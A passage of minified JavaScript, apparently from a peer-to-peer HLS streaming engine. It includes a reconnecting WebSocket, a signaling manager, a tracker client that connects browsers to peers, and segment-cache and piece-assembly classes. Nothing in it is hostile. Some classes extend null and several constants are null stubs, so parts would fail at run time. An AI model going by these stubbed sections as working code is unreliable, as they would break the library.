t.error}}return!0},e.prototype.removeEventListener=function(e,t){this._listeners[e]&&(this._listeners[e]=this._listeners[e].filter((function(e){return e!==t})))},e.prototype._debug=function(){for(var e=[],t=0;t<arguments.length;t++)e[t]=arguments[t];this._options.debug&&console.log.apply(console,__spread(["RWS>"],e))},e.prototype._getNextDelay=function(){var e=this._options,t=e.reconnectionDelayGrowFactor,r=void 0===t?DEFAULT.reconnectionDelayGrowFactor:t,i=e.minReconnectionDelay,n=void 0===i?DEFAULT.minReconnectionDelay:i,s=e.maxReconnectionDelay,a=void 0===s?DEFAULT.maxReconnectionDelay:s,o=0;return this._retryCount>0&&(o=n*Math.pow(r,this._retryCount-1))>a&&(o=a),this._debug("next delay",o),o},e.prototype._wait=function(){var e=this;return new Promise((function(t){setTimeout(t,e._getNextDelay())}))},e.prototype._getNextUrl=function(e){if("string"==typeof e)return Promise.resolve(e);if("function"==typeof e){var t=e();if("string"==typeof t)return Promise.resolve(t);if(t.then)return t}throw Error("Invalid URL")},e.prototype._connect=function(){var e=this;if(!this._connectLock&&this._shouldReconnect){this._connectLock=!0;var t=this._options,r=t.maxRetries,i=void 0===r?DEFAULT.maxRetries:r,n=t.connectionTimeout,s=void 0===n?DEFAULT.connectionTimeout:n,a=t.WebSocket,o=void 0===a?getGlobalWebSocket():a;if(this._retryCount>=i)this._debug("max retries reached",this._retryCount,">=",i);else{if(this._retryCount++,this._debug("connect",this._retryCount),this._removeListeners(),!isWebSocket(o))throw Error("No valid WebSocket class provided");this._wait().then((function(){return e._getNextUrl(e._url)})).then((function(t){e._closeCalled||(e._debug("connect",{url:t,protocols:e._protocols}),e._ws=e._protocols?new o(t,e._protocols):new o(t),e._ws.binaryType=e._binaryType,e._connectLock=!1,e._addListeners(),e._connectTimeout=setTimeout((function(){return e._handleTimeout()}),s))}))}}},e.prototype._handleTimeout=function(){this._debug("timeout event"),this._handleError(new ErrorEvent(Error("TIMEOUT"),this))},e.prototype._disconnect=function(e,t){if(void 0===e&&(e=1e3),this._clearTimeouts(),this._ws){this._removeListeners();try{this._ws.close(e,t),this._handleClose(new CloseEvent(e,t,this))}catch(e){}}},e.prototype._acceptOpen=function(){this._debug("accept open"),this._retryCount=0},e.prototype._callEventListener=function(e,t){"handleEvent"in t?t.handleEvent(e):t(e)},e.prototype._removeListeners=function(){this._ws&&(this._debug("removeListeners"),this._ws.removeEventListener("open",this._handleOpen),this._ws.removeEventListener("close",this._handleClose),this._ws.removeEventListener("message",this._handleMessage),this._ws.removeEventListener("error",this._handleError))},e.prototype._addListeners=function(){this._ws&&(this._debug("addListeners"),this._ws.addEventListener("open",this._handleOpen),this._ws.addEventListener("close",this._handleClose),this._ws.addEventListener("message",this._handleMessage),this._ws.addEventListener("error",this._handleError))},e.prototype._clearTimeouts=function(){clearTimeout(this._connectTimeout),clearTimeout(this._uptimeTimeout)},e}();const reconnecting_websocket_mjs=ReconnectingWebSocket,PING_INTERVAL=60,PONG_TIMEOUT=15;class WebsocketClient extends(events_default()){constructor(e,t,r,i,n="main"){super(),this.logger=e,this.config=t,this.wsAddr=r,this.serverVersion=0,this.pingInterval=i||PING_INTERVAL,this._ws=this._init(),this.name=n}_init(){const e={maxRetries:this.config.wsMaxRetries,minReconnectionDelay:randomNum(1e4,6e4),maxReconnectionDelay:6e5,maxEnqueuedMessages:20};let t=new reconnecting_websocket_mjs(this.wsAddr,void 0,e);return t.addEventListener("open",(()=>{this.logger.info(`signal ${this.name} ${this.wsAddr} connection opened`),this.onopen&&this.onopen(),this._startPing(this.pingInterval)})),t.push=t.send,t.send=e=>{let r=JSON.stringify(e);t.push(r)},t.addEventListener("message",(e=>{let t=e.data;const r=JSON.parse(t),i=r.action;if("pong"!==i){if("ver"!==i)return"close"===i?(this.logger.warn(`server close signal ${this.name} reason ${r.reason}`),void this.close()):void(this.onmessage&&this.onmessage(r,this.name));this.serverVersion=r.ver}else clearTimeout(this.pongTimer)})),t.addEventListener("close",(e=>{this.logger.warn(`signal ${this.name} ${this.wsAddr} closed ${e.code} ${e.reason}`),this.onclose&&this.onclose(),this._stopPing()})),t.addEventListener("error",(e=>{this.logger.error(`signal ${this.name} ${this.wsAddr} error`),this._stopPing(),this.onerror&&this.onerror(e)})),t}sendSignal(e,t){const r={action:"signal",to_peer_id:e,data:t};this._send(r)}sendReject(e,t,r){const i={action:"reject",to_peer_id:e,reason:t,fatal:r};this._send(i)}_send(e){this._ws&&this._ws.send(e)}_startPing(e=120){this.connected&&(this.pingTimer=setInterval((()=>{this._send({action:"ping"}),this.serverVersion>=22&&this._waitForPong()}),1e3*e))}_waitForPong(){this.pongTimer=setTimeout((()=>{this.logger.warn(`signal ${this.name} wait for pong timeout, reconnect`),this.close(),this.reconnect()}),1e3*PONG_TIMEOUT)}_resetPing(){this._stopPing(),this._startPing(this.pingInterval)}_stopPing(){clearInterval(this.pingTimer),clearTimeout(this.pongTimer),this.pingTimer=null,this.pongTimer=null}close(){this.logger.info(`close signal ${this.name}`),this._stopPing(),(()=>{this._ws&&this._ws.close(1e3,"normal close")})()}reconnect(){this._ws&&(this.logger.info(`reconnect signal ${this.name}`),this._ws.reconnect())}destroy(){this.close(),this._ws=null,this.removeAllListeners()}get connected(){return!!this._ws&&this._ws.readyState===reconnecting_websocket_mjs.OPEN}}const websocket_client=WebsocketClient,signal_manager_PING_INTERVAL=270,signal_manager=class extends(events_default()){constructor(e,t,r,i){super(),this.logger=e,this.config=t,this.mainAddr=r,this.backupAddr=i,this.mainWS=this._init(r),this.backupWS=this._init(i,"backup"),this._connected=!1}_init(e,t){if(!e)return null;let r=new websocket_client(this.logger,this.config,e,signal_manager_PING_INTERVAL,t);return r.onopen=()=>{!this._connected&&this.onopen&&(this._connected=!0,this.onopen())},r.onmessage=e=>{this.onmessage&&this.onmessage(e,r.name)},r.onclose=()=>{this._connected&&!this.connected&&this.onclose&&(this._connected=!1,this.onclose())},r.onerror=e=>{this.onerror&&this.onerror(e)},r}sendSignal(e,t,r){if(r){const i=this._getWSByName(r);if(i)return void i.sendSignal(e,t)}this.mainConnected?this.mainWS.sendSignal(e,t):this.backupConnected?this.backupWS.sendSignal(e,t):this.logger.warn("no signal available, send signal failed")}sendReject(e,t,r,i){if(i){const n=this._getWSByName(i);if(n)return void n.sendReject(e,t,r)}this.mainConnected?this.mainWS.sendReject(e,t,r):this.backupConnected?this.backupWS.sendReject(e,t,r):this.logger.warn("no signal available, send reject failed")}close(){this.mainWS&&this.mainWS.close(),this.backupWS&&this.backupWS.close()}_getWSByName(e){return this.mainWS&&this.mainWS.name===e?this.mainWS:this.backupWS&&this.backupWS.name===e?this.backupWS:null}reconnect(){this.mainWS&&this.mainWS.reconnect(),this.backupWS&&this.backupWS.reconnect()}destroy(){this.close(),this.mainWS=null,this.backupWS=null,this.removeAllListeners()}get connected(){return this.mainConnected||this.backupConnected}get mainConnected(){return this.mainWS&&this.mainWS.connected}get backupConnected(){return this.backupWS&&this.backupWS.connected}};function getPeersThrottle(e,t,r=70){var i=null,n=!1,s=r;return function(r=!1){if(r)return clearTimeout(i),void(n=!1);n||(n=!0,i=setTimeout((function(){e.call(t,s),n=!1,i=null}),1e3*s),s*=1)}}const utils_getPeersThrottle=getPeersThrottle,MAX_PC_CONNS=25,MAX_MOBILE_CONNS=15,MIN_PEER_SHARE_TIME=30,MAX_TRY_CONNS_TRICKLE=5;class TrackerClient extends(events_default()){constructor(e,t,r,i){super(),this.engine=e,this.logger=e.logger,this.config=i,this.connected=!1,this.scheduler=r,this.sequential=this.scheduler.sequential,this.DCMap=new Map,this.failedDCSet=new Set,this.failedDCSet.add("034cE4z-VC7g"),this.signalerWs=null,this.fetcher=t,this.peers=[],this.minConns=5,this.stuns=[],this.requestMorePeers=utils_getPeersThrottle(this._requestMorePeers,this),this.engine.maxConns=this.maxConns=platform_default().isMobile()?MAX_MOBILE_CONNS:MAX_PC_CONNS,this.peersIncrement=0,this.gotPeersFromTracker=!1,this.fuseRate=-1}get totalConns(){return this.scheduler.peersNum+1}resumeP2P(){if(!this.fetcher)return;const{engine:e,config:t,fetcher:r}=this,{btAnnounce:i,btAnnouncePreflight:n}=r;(t.geoIpPreflight?n:i).call(r).then((r=>{if(!this.scheduler)return;e.peerId=this.peerId=r.id,this.minConns=r.min_conns;const i=r.peers;this.scheduler.notifyPeersLoaded(i.length);const n=e.netType;let s,a;if((r.wifi_only||t.wifiOnly)&&"wifi"!==n&&"ethernet"!==n&&(this.scheduler.downloadOnly=!0,this.logger.info("downloadOnly mode")),"object"==typeof t.wsSignalerAddr&&t.wsSignalerAddr.main)s=t.wsSignalerAddr.main,a=t.wsSignalerAddr.backup,r.signal&&!r.signal2&&(a=void 0);else{if("string"!=typeof t.wsSignalerAddr){const e=new Error;throw e.err=new Error("invalid wsSignalerAddr"),e}s=t.wsSignalerAddr}this.signalerWs=this._initSignalerWs(r.signal||s,r.signal2||a,r.token,r.token2),0===i.length?this.requestMorePeers():this.peers=this._filterPeers(i),e.emit("peerId",this.peerId);const o=t.getPeerId;o&&"function"==typeof o&&o(this.peerId),r.stun&&r.stun.length>0&&(this.stuns=r.stun),r.debug&&this.logger.enableDebug(),r.fuse_rate&&(this.fuseRate=r.fuse_rate),this.logger.info(`announce request response ${JSON.stringify(r,null,2)}`),e.media&&r.slogan&&appendSlogan(window.atob("U3RyZWFtIGFjY2VsZXJhdGVkIGJ5IENETkJ5ZSBQMlA="),getHomeUrl(),e.media)})).catch((t=>{if("TRACKER_EXPT"===t.code&&e.emit(events.EXCEPTION,t),t.retry){const e=randomNum(3e4,6e4);this.logger.warn(`announce retry after ${e}ms`),this.announceTimer=setTimeout((()=>{this.resumeP2P()}),e)}}))}stopP2P(){this.fetcher.destroy(),this.fetcher=null,this.requestMorePeers(!0),this.scheduler.destroy(),this.scheduler=null,this.signalerWs&&(this.signalerWs.destroy(),this.signalerWs=null),this.peers=[];for(let e of this.DCMap.values())e.destroy(!0);this.DCMap.clear(),this.failedDCSet.clear(),this.logger.warn("tracker stop p2p")}destroy(){this.stopP2P(),this.removeAllListeners(),clearTimeout(this.announceTimer);const{config:e}=this;e.getStats=e.getPeerId=e.getPeersInfo=null,this.logger.warn("destroy tracker")}_filterPeers(e){const t=[],r=[...this.DCMap.keys(),...this.failedDCSet.keys(),this.peerId];return e.filter((e=>!r.includes(e.id))).forEach((e=>{t.push({id:e.id,intermediator:e.intermediator,cpr:e.cpr||void 0})})),t}_tryConnectToAllPeers(){if(0!==this.peers.length&&this.signalerWs.connected)for(this.logger.info(`try connect to ${this.peers.length} peers`);this.peers.length>0;){if(this.DCMap.size>=this.maxConns){this.logger.debug("clear exceeded peers"),this.peers=[];break}let e=this.peers.shift();this.logger.debug(`new DataChannel ${e.id}`);const t=e.intermediator;this._createDatachannel(e.id,!0,t,e.cpr)}}_setupDC(e){e.on(events.DC_SIGNAL,(t=>{const r=e.remotePeerId;if(e.intermediator){const i=this.DCMap.get(e.intermediator);if(i){if(i.sendMsgSignal(r,this.peerId,t))return}}this.signalerWs.sendSignal(r,t,e.signalName)})).on(events.DC_PEER_SIGNAL,(t=>{const r=t.to_peer_id,i=t.from_peer_id,n=t.action;if(r&&i&&n)if(r!==this.peerId){this.logger.info(`relay signal for ${i}`);const s=this.DCMap.get(r);if(s){if("signal"!==n)return void s.sendMsgSignalReject(r,i,t.reason);if(s.sendMsgSignal(r,i,t.data))return}e.sendMsgSignal(i,r)}else"signal"===n?this._handleSignalMsg(i,t,e.remotePeerId):this._handSignalRejected(i,t)})).on(events.DC_GET_PEERS,(()=>{const t=getCurrentTs(),r=this.scheduler.getPeers().filter((e=>e.peersConnected<(e.mobileWeb?MAX_MOBILE_CONNS:MAX_PC_CONNS)));if(r&&r.length>0){const i=[];r.forEach((r=>{const n=t-r.timeJoin;r.remotePeerId!==e.remotePeerId&&r.remotePeerId!==this.peerId&&n>MIN_PEER_SHARE_TIME&&i.push({id:r.remotePeerId})})),this.logger.info(`send ${i.length} peers to ${e.remotePeerId}`),e.sendPeers(i)}})).on(events.DC_PEERS,(t=>{e.gotPeers=!0;const r=t.peers;if(r&&r.length>0){const t=MAX_TRY_CONNS_TRICKLE;this.logger.info(`receive ${r.length} peers from ${e.remotePeerId}`),r.forEach((t=>{t.intermediator=e.remotePeerId})),this.peers=[...this.peers,...this._filterPeers(r).slice(0,t)],this._tryConnectToAllPeers()}})).once(events.DC_ERROR,(t=>{this.logger.info(`datachannel ${e.channelId} failed fatal ${t}`),this.scheduler&&(this.scheduler.deletePeer(e),this._destroyAndDeletePeer(e.remotePeerId,t),this.requestMorePeers(),this.fetcher&&(e.connected||t&&this.fetcher.increFailConns(),t&&this.failedDCSet.add(e.remotePeerId),this._doSignalFusing(this.scheduler.peersNum)))})).once(events.DC_CLOSE,(t=>{this.logger.info(`datachannel ${e.channelId} closed fatal ${t}`),this.scheduler&&(this.scheduler.deletePeer(e),this._doSignalFusing(this.scheduler.peersNum)),this._destroyAndDeletePeer(e.remotePeerId,t),t&&this.failedDCSet.add(e.remotePeerId),this.requestMorePeers()})).once(events.DC_OPEN,(()=>{e.isInitiator&&this.scheduler.handshakePeer(e)})).once(events.DC_METADATA,(t=>{const{scheduler:r}=this;e.isInitiator||r.handshakePeer(e),r.handleMetaData(e,t);const i=r.peersNum,n=i>=this.minConns;this.requestMorePeers(n),this.peersIncrement++,this._doSignalFusing(i+1)}))}_doSignalFusing(e){if(this.fuseRate<=0)return;const t=this.signalerWs.connected;t&&e>=this.fuseRate+2?(this.logger.warn("reach fuseRate, report stats close signaler"),this.totalConns-1>0&&this.fetcher.postStats(),this.signalerWs.close()):!t&&e<this.fuseRate&&(this.logger.warn("low conns, reconnect signaler"),this.signalerWs.reconnect())}_initSignalerWs(e,t,r,i){const n=(e,t)=>{let r=`${e}?id=${this.peerId}&p=web&v=2.2.0`;return t&&(r=`${r}&token=${t}`),r};let s,a=n(e,r);if(t&&t!==e){let e=n(t,i);s=new signal_manager(this.logger,this.config,a,e)}else s=new websocket_client(this.logger,this.config,a,270);return s.onopen=()=>{this.connected=!0,this.engine.emit("serverConnected",!0),this._tryConnectToAllPeers()},s.onmessage=(e,t)=>{let r=e.action;const i=e.from_peer_id;switch(r){case"signal":this._handleSignalMsg(i,e,null,t);break;case"reject":this._handSignalRejected(i,e);break;default:this.logger.warn(`Signal websocket unknown action ${r}`)}},s.onclose=()=>{this.connected=!1,this.engine.emit("serverConnected",!1)},s.onerror=e=>{e.message&&this.engine.emit(events.EXCEPTION,err_code_default()(e,"SIGNAL_EXPT"))},s}_handSignalRejected(e,t){this.logger.warn(`signaling ${e} rejected, reason ${t.reason}`);const r=this.DCMap.get(e);r&&!r.connected&&(r.destroy(t.fatal),this.DCMap.delete(e)),this.requestMorePeers(),t.fatal&&this.failedDCSet.add(e)}_handleSignalMsg(e,t,r,i){if(!this.scheduler)return;const{logger:n}=this;if(t.data){if(this.failedDCSet.has(e))return void this._sendSignalReject(e,`peer ${e} in blocked list`,r,i,!0);this._handleSignal(e,t.data,r,i)}else{if(!this._destroyAndDeletePeer(e))return;n.info(`signaling ${e} not found`);const{scheduler:t}=this;t.waitForPeer&&(t.waitingPeers--,0===t.waitingPeers&&t.notifyPeersLoaded(0)),this.requestMorePeers(),this.failedDCSet.add(e)}}_handleSignal(e,t,r,i){const n=t.type,{logger:s}=this;let a=this.DCMap.get(e);if(a){if(a.connected)return void s.info("datachannel had connected, signal ignored");if("offer"===n){if(!(this.peerId>e))return void s.warn(`signal type wrong ${n}, ignored`);this._destroyAndDeletePeer(e,!1),s.warn(`signal type wrong ${n}, convert to non initiator`),a=this._createDatachannel(e,!1,r)}}else{if("answer"===n){const t=`signal type wrong ${n}`;return s.warn(t),this._sendSignalReject(e,t,r,i),void this._destroyAndDeletePeer(e,!1)}s.debug(`receive node ${e} connection request`);const t=this.scheduler.peersNum;if(t>=this.maxConns){const n=this.scheduler.getNonactivePeers();if(!(n.length>0)){const t=`peers reach limit ${this.maxConns}`;return s.warn(t),void this._sendSignalReject(e,t,r,i)}{let e=t-this.maxConns+2;for(n.length<e&&(e=n.length);e>0;){const t=n.shift();t&&(s.warn(`close inactive peer ${t.remotePeerId}`),t.close(!1)),e--}}}a=this._createDatachannel(e,!1,r)}i&&(a.signalName=i),a.receiveSignal(t)}_createDatachannel(e,t,r,i){let n=this.config.trickleICE;const s=new peer(this.engine,this.peerId,e,t,this.config,this.sequential,{stuns:this.stuns,intermediator:r,trickle:n});return i&&(s.cpr=i),this.DCMap.set(e,s),this._setupDC(s),s}_sendSignalReject(e,t,r,i,n){if(r){const i=this.DCMap.get(r);if(i&&i.sendMsgSignalReject(e,this.peerId,t,n))return}this.signalerWs.sendReject(e,t,n,i)}_requestMorePeers(e){const{logger:t}=this;t.info(`requestMorePeers after delay ${e}`);const r=this.scheduler.peersNum,i=this.peersIncrement;this.peersIncrement=0,r>=this.minConns||(0===r||i<=3&&!this.gotPeersFromTracker?(this.failedDCSet.size>30&&(this.failedDCSet=new Set([...this.failedDCSet].slice(-30))),this.fetcher.btGetPeers([...this.DCMap.keys(),...this.failedDCSet.keys()]).then((e=>{t.info(`requestMorePeers resp ${JSON.stringify(e,null,2)}`),this.peers=[...this.peers,...this._filterPeers(e.peers)],this._tryConnectToAllPeers()})).catch((e=>{t.error(`requestMorePeers error ${e}`)})),this.gotPeersFromTracker=!0):r<this.maxConns&&(this.scheduler.requestPeers(),this.gotPeersFromTracker=!1))}_destroyAndDeletePeer(e,t=!0){const r=this.DCMap.get(e);return!!r&&(r.destroy(t),this.DCMap.delete(e),!0)}}const tracker_client=TrackerClient;class BtScheduler extends(null){constructor(e,t){super(e,t),this.requestingMap=new RequestingMap,this.bitset=new Set,this.bitCounts=new Map}handshakePeer(e){this._setupDC(e),e.sendMetaData(Array.from(this.bitset),this.sequential,this.peersNum)}handleMetaData(e,t){t.field&&(e.bitset=new Set(t.field),t.field.forEach((e=>{this.bitset.has(e)||this._increBitCounts(e)})),this.addPeer(e),this.downloadOnly&&this.chokePeerRequest(e))}peersHas(e){return this.bitCounts.has(e)}_decreBitCounts(e){if(this.bitCounts.has(e)){let t=this.bitCounts.get(e);1===t?this.bitCounts.delete(e):this.bitCounts.set(e,t-1)}}_increBitCounts(e){if(this.bitCounts.has(e)){let t=this.bitCounts.get(e);this.bitCounts.set(e,t+1)}else this.bitCounts.set(e,1)}reportDCTraffic(e,t,r){if(!this.engine.fetcher)return void this.logger.error("DC report failed");const{fetcher:i}=this.engine;let n=t;this.bitset.has(e)||i.reportDCTraffic(n,r)}cleanRequestingMap(e){const t=this.peerManager.getPeer(e);for(let[r,i]of this.requestingMap.internalMap)i&&i.includes(e)&&(this.logger.info(`delete ${r} in requestingMap`),this.requestingMap.delete(r),this._decreBitCounts(r),t&&t.bitset.delete(r))}getPeerLoadedMore(e){if(!this.requestingMap.has(e))return null;const t=this.requestingMap.getAllPeerIds(e);if(0===t.length)return null;let r=this.peerManager.getPeer(t[0]);if(!r)return null;if(t.length>1)for(let e=1;e<t.length;e++){const i=this.peerManager.getPeer(t[e]);i&&i.bufArr.length>r.bufArr.length&&(r=i)}return r}}const bt_scheduler=null,segment_cache_LIVE_MAX_BUFFER_SIZE=null,segment_cache_MIN_SEGMENTS_KEEP=5;class segment_cache_SegmentCache extends(null){constructor(e,t,r=!0){super(),this.isSequential=r,this.logger=t.logger;const i=e.browserInfo.device;this.maxBufSize=i===platform.device.PC_WEB||i===platform.device.PC_NATIVE?t.memoryCacheLimit.pc:t.memoryCacheLimit.mobile,t.live&&(this.maxBufSize=segment_cache_LIVE_MAX_BUFFER_SIZE),this._segPool=new Map,this._currBufSize=0,this.id2Sn=new Map,this.overflowed=!1}get currBufSize(){return this._currBufSize}hasSegOfId(e){if(this.isSequential){const t=this.id2Sn.get(e);return this._segPool.has(t)}return this._segPool.has(e)}hasSegOfSN(e){return!!this.isSequential&&this._segPool.has(e)}_calSegPoolSize(){let e=0;return this._segPool.forEach((t=>{e+=t.size})),e}putSeg(e){if(this._currBufSize>=1.5*this.maxBufSize&&(this._currBufSize=this._calSegPoolSize(),this._currBufSize>=1.5*this.maxBufSize&&(this.clear(),this.overflowed=!1)),this.isSequential){if(this._segPool.has(e.sn))return;this._addSequentialSeg(e)}else{if(this._segPool.has(e.segId))return;this._addUnsequentialSeg(e)}}_addSequentialSeg(e){const{logger:t}=this,{segId:r,sn:i,size:n}=e;this.id2Sn.set(r,i),this._segPool.set(i,e),this._currBufSize+=parseInt(n);const s=this._segPool.size;if(this.emit(`${Events.BM_ADDED_SN_}${e.sn}`,e),this.emit(Events.BM_SEG_ADDED,e),this._currBufSize<this.maxBufSize||s<=segment_cache_MIN_SEGMENTS_KEEP)return;let a=Array.from(this._segPool.keys()).sort(((e,t)=>e-t)),o=0;do{if(o++>10){console.error("too much loops in SegmentCache");break}const e=a.shift();if(void 0===e){t.error("lastSN not found");continue}const r=a[0],i=this._segPool.get(e);if(!i){t.error("lastSeg not found");continue}const n=i.size;this._currBufSize-=parseInt(n),this._segPool.delete(e),this.id2Sn.delete(i.segId),t.info(`pop seg ${e} size ${n} currBufSize ${this._currBufSize}`),this.overflowed||(this.overflowed=!0),this.emit(Events.BM_LOST,{sn:e,segId:i.segId,next:r,level:i.level})}while(this._currBufSize>=this.maxBufSize&&this._segPool.size>segment_cache_MIN_SEGMENTS_KEEP)}_addUnsequentialSeg(e){const{logger:t}=this,{segId:r,size:i}=e;this._segPool.set(r,e),this._currBufSize+=parseInt(i),this.emit(`${Events.BM_ADDED_SEG_}${e.segId}`,e),this.emit(Events.BM_SEG_ADDED,e);let n=0;for(;this._currBufSize>=this.maxBufSize&&this._segPool.size>segment_cache_MIN_SEGMENTS_KEEP;){if(n++>10){console.error("too much loops in SegmentCache");break}const e=[...this._segPool.values()].shift(),r=e.segId,i=e.size;this._currBufSize-=parseInt(i),t.info(`pop seg ${r} size ${i}`),this._segPool.delete(r),this.overflowed||(this.overflowed=!0),this.emit(Events.BM_LOST,{sn:-1,segId:r,level:e.level})}}getSegById(e){if(this.isSequential){const t=this.id2Sn.get(e);return this._segPool.get(t)}return this._segPool.get(e)}getSegIdBySN(e){const t=this._segPool.get(e);return t?t.segId:null}getSegBySN(e){if(this.isSequential)return this._segPool.get(e);throw new Error("fatal error in SegmentCache")}clear(){this.logger.warn("clear segment cache"),this._segPool.clear(),this.id2Sn.clear(),this._currBufSize=0}destroy(){this.clear(),this.removeAllListeners()}}const core_segment_cache=null;class Synthesizer extends(events_default()){constructor(e,t,r,i=!1,n){super(),this.logger=e,this.rangeSupported=i,this.rangeStart=0,this.rangeEnd=0,this.httpLoadTime=1e3,this.allowLoadPartial=!1,n&&this.setExtra(n),this.forwardPeer=null,this.reversePeer=null,this.bufArr=[],this.pieceMsg={sn:t,level:r},this.forwardOffset=-1,this.reverseOffset=1e4,this.timeStart=0,this.timeReceivePiece=0,this.timer=void 0,this.destroyed=!1,this.forwardStreamListeners=[],this.reverseStreamListeners=[]}isDownloading(){return this.timeReceivePiece>0}_notifyStreamListeners(e,t,r){const{sn:i,seg_id:n,attachments:s}=this.pieceMsg,a=e&&0===r||!e&&r===s-1,o=e?this.reverseStreamListeners:this.forwardStreamListeners;for(let e of o){const{handler:r}=e;r(i,n,!1,t,a)}a&&(o.length=0)}_notifyStreamListenersAbort(e){const{sn:t,seg_id:r}=this.pieceMsg,i=e?this.reverseStreamListeners:this.forwardStreamListeners;for(let e of i){const{handler:i}=e;i(t,r,!0,"aborted by synthesizer")}i.length=0}_notifyStreamListenersRemain(){if(this.forwardStreamListeners.length>0){for(let e=this.forwardOffset+1;e<this.bufArr.length;e++)this._notifyStreamListeners(!1,this.bufArr[e],e);this.forwardStreamListeners=[]}if(this.reverseStreamListeners.length>0){for(let e=this.reverseOffset-1;e>=0;e--)this._notifyStreamListeners(!0,this.bufArr[e],e);this.reverseStreamListeners=[]}}addStreamListener(e,t){(e?this.reverseStreamListeners:this.forwardStreamListeners).push({handler:t})}setTimeout(e=0){this._startTimer(e)}setExtra(e={}){e.url&&(this.url=e.url),e.rangeStart&&(this.rangeStart=e.rangeStart),e.rangeEnd&&(this.rangeEnd=e.rangeEnd),e.httpLoadTime&&(this.httpLoadTime=e.httpLoadTime),e.allowLoadPartial&&(this.allowLoadPartial=!0),e.xhrSetup&&(this.xhrSetup=e.xhrSetup)}hasForwardPeer(){return!!this.forwardPeer}hasReversePeer(){return!!this.reversePeer}hasPeerId(e){return this.forwardPeer&&this.forwardPeer.remotePeerId===e||this.reversePeer&&this.reversePeer.remotePeerId===e}isEmpty(){return null===this.forwardPeer&&null===this.reversePeer}isFull(){return this.forwardPeer&&this.reversePeer}setForwardPeer(e){this.forwardPeer=e,this.reversePeer&&this._print(),this._setupPeer(e,!1)}setReversePeer(e){this.reversePeer=e,this.forwardPeer&&this._print(),this._setupPeer(e,!0)}deletePeer(e,t=!1){const r=e===this.reversePeer;this._detachPeer(e,r),r?(this.reversePeer=null,t&&(this.reverseOffset=this.pieceMsg.attachments||1e4)):(this.forwardPeer=null,t&&(this.forwardOffset=-1)),this._notifyStreamListenersAbort(r),this.isEmpty()&&this._handleTimeout(!1)}_emitPartialOrError(){if(this.allowLoadPartial&&this.hasPartialBuffer()){const[e,t]=this.getPartialBuffer();this.emit(hls_next_events.SYN_PARTIAL,this.pieceMsg,e,t)}else this.emit(hls_next_events.SYN_ERROR,this.pieceMsg)}hasPartialBuffer(){return this.forwardOffset>=0||this.pieceMsg&&this.reverseOffset<this.pieceMsg.attachments}getPartialBuffer(){return[this.forwardOffset>=0?utils_buffer.l.concat(this.bufArr.slice(0,this.forwardOffset+1)):null,this.pieceMsg&&this.reverseOffset<this.pieceMsg.attachments?utils_buffer.l.concat(this.bufArr.slice(this.reverseOffset)):null]}destroy(){clearTimeout(this.timer),this.removeAllListeners(),this.destroyed=!0,this._detachPeer(this.forwardPeer,!1),this.forwardPeer=null,this.forwardOffset=-1,this._detachPeer(this.reversePeer,!0),this.reversePeer=null,this.reverseOffset=1e4,this.bufArr=[],this.forwardStreamListeners=[],this.reverseStreamListeners=[]}_detachPeer(e,t){if(!e)return;let r;r=t?this.reverseEvents:this.forwardEvents,e.off(hls_next_events.DC_PIECE_DATA,r.onPieceData).off(hls_next_events.DC_PIECE,r.onPiece).off(hls_next_events.DC_PIECE_NOT_FOUND,r.onPieceNotFound).off(hls_next_events.DC_PIECE_ABORT,r.onPieceAbort)}_setupPeer(e,t){0===this.timeStart&&(this.timeStart=performance.now());const r=(e,t,r,i,n,s)=>{if(this.destroyed)return;if(!this._validateMsg(e,s.level))return void this.logger.error(`onPieceData ${s.level}-${e} not match ${JSON.stringify(this.pieceMsg)}`);const{reverse:a}=s,o=i-1;if(this.bufArr[o]=r,a?this.reverseOffset=o:this.forwardOffset=o,this._notifyStreamListeners(a,r,o),this.forwardOffset===this.reverseOffset-1){this.forwardPeer&&(this.forwardPeer.miss=0),this.reversePeer&&(this.reversePeer.miss=0),clearTimeout(this.timer),this._notifyStreamListenersRemain();const r=this.pieceMsg.size/(performance.now()-this.timeStart);let i=utils_buffer.l.concat(this.bufArr);const n=i.byteLength;if(n===this.pieceMsg.size){let n=new Uint8Array(i).buffer;const a=new core_segment(e,t,n,this.getFromPeerId(),s.level);this.emit(hls_next_events.SYN_OUTPUT,a,{speed:r,p2p:n.byteLength,http:0})}else this.logger.error(`${s.level}-${e} expectedSize ${this.pieceMsg.size} not equal to byteLength ${n} forwardOffset ${this.forwardOffset} reverseOffset ${this.reverseOffset}`),this.emit(hls_next_events.SYN_ERROR,this.pieceMsg)}},i=t=>{if(this.destroyed)return;0===this.timeReceivePiece&&(this.timeReceivePiece=performance.now());const{attachments:r,size:i,sn:n,level:s,seg_id:a}=t;if(!this._validateMsg(n,s))return this.logger.error(`onPiece ${t.level}-${t.sn} not match ${JSON.stringify(this.pieceMsg)}`),void this.deletePeer(e);0===this.bufArr.length&&(this.pieceMsg={...this.pieceMsg,seg_id:a,size:i,attachments:r},this.reverseOffset=r,this.bufArr=new Array(r))},n=t=>{this.destroyed||(this._validateMsg(t.sn,t.level)?this.deletePeer(e):this.logger.error(`onPieceNotFound ${t.level}-${t.sn} not match ${JSON.stringify(this.pieceMsg)}`))},s=()=>{this.destroyed||this.deletePeer(e)};let a={onPieceData:r,onPiece:i,onPieceNotFound:n,onPieceAbort:s};t?this.reverseEvents=a:this.forwardEvents=a,e.on(hls_next_events.DC_PIECE_DATA,r).once(hls_next_events.DC_PIECE,i).once(hls_next_events.DC_PIECE_NOT_FOUND,n).once(hls_next_events.DC_PIECE_ABORT,s)}_validateMsg(e,t){return e===this.pieceMsg.sn&&t===this.pieceMsg.level}_startTimer(e,t=!0){e>0&&(this.timer=setTimeout(this._handleTimeout.bind(this,t),e))}loadedPackets(){return this.pieceMsg.attachments-(this.reverseOffset-this.forwardOffset-1)}_handleTimeout(e=!1){const{level:t,sn:r,size:i,attachments:n}=this.pieceMsg;if(!i||0===this.timeReceivePiece)return this.logger.warn(`syn load timeout ${t}-${r} url ${this.url}`),void this.emit(hls_next_events.SYN_ERROR,this.pieceMsg);if(e&&this.timeReceivePiece>0&&(this.logger.warn(`syn ${this.loadedPackets()} of ${n} packets loaded`),this.shouldWaitForRemain(this.httpLoadTime))){const e=this.httpLoadTime+100;return this.logger.info(`syn wait for remain ${e}`),void this._startTimer(e,!1)}const s=[this.forwardPeer,this.reversePeer].filter((e=>!!e)).sort(((e,t)=>e.currentLoadSpeed()-t.currentLoadSpeed())).shift();if(s&&s.loadtimeout(),this.rangeSupported&&this.url)return this._loadRemainBufferByHttp();this._emitPartialOrError()}shouldWaitForRemain(e){const 